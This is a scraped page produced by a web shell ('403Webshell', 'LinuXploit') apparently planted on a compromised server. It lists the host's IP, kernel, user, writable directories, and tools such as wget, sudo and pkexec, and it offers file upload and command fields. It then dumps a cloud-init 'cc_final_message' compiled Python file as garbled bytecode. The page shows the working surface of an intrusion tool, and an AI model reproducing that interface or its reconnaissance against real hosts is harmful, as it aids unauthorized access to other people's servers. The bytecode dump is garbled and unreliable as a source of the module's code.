403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_final_message.cpython-36.pyc
3

��bu	�@s8dZddlmZmZmZddlmZeZdZdd�Z	dS)a%
Final Message
-------------
**Summary:** output final message when cloud-init has finished

This module configures the final message that cloud-init writes. The message is
specified as a jinja template with the following variables set:

    - ``version``: cloud-init version
    - ``timestamp``: time at cloud-init finish
    - ``datasource``: cloud-init data source
    - ``uptime``: system uptime

**Internal name:** ``cc_final_message``

**Module frequency:** always

**Supported distros:** all

**Config keys**::

    final_message: <message>

�)�	templater�util�version)�
PER_ALWAYSzy## template: jinja
Cloud-init v. {{version}} finished at {{timestamp}}. Datasource {{datasource}}.  Up {{uptime}} secondscCs0d}t|�dkrt|d�}ntj|dd�}|j�}|s<t}tj�}tj�}tj	�}yR|||t|j
�d�}	|	jtdd�|	j
�D���tjdtj||	�dd	|d
�Wn tk
r�tj|d�YnX|jj}
y"d|||f}tj|
|dd
�Wn$tk
�rtj|d|
�YnX|j
j�r,|jd�dS)N�rZ
final_message)�uptimeZ	timestampr�
datasourcecSsg|]\}}|j�|f�qS�)�upper)�.0�k�vr	r	�&/usr/lib/python3.6/cc_final_message.py�
<listcomp>Eszhandle.<locals>.<listcomp>z%s
FT)Zconsole�stderr�logz'Failed to render final message templatez%s - %s - v. %s
)Zensure_dir_existsz%Failed to write boot finished file %szUsed fallback datasource)�len�strrZget_cfg_option_str�strip�FINAL_MESSAGE_DEFrZtime_rfc2822rZversion_stringr�update�dict�itemsZ	multi_logrZ
render_string�	ExceptionZlogexc�pathsZ
boot_finishedZ
write_fileZis_disconnectedZwarning)�_nameZcfgZcloudr�argsZmsg_inrZtsZcverZsubsZboot_fin_fn�contentsr	r	r�handle/s>
rN)
�__doc__Z	cloudinitrrrZcloudinit.settingsrZ	frequencyrrr	r	r	r�<module> s


Youez - 2016 - github.com/yon3zu
LinuXploit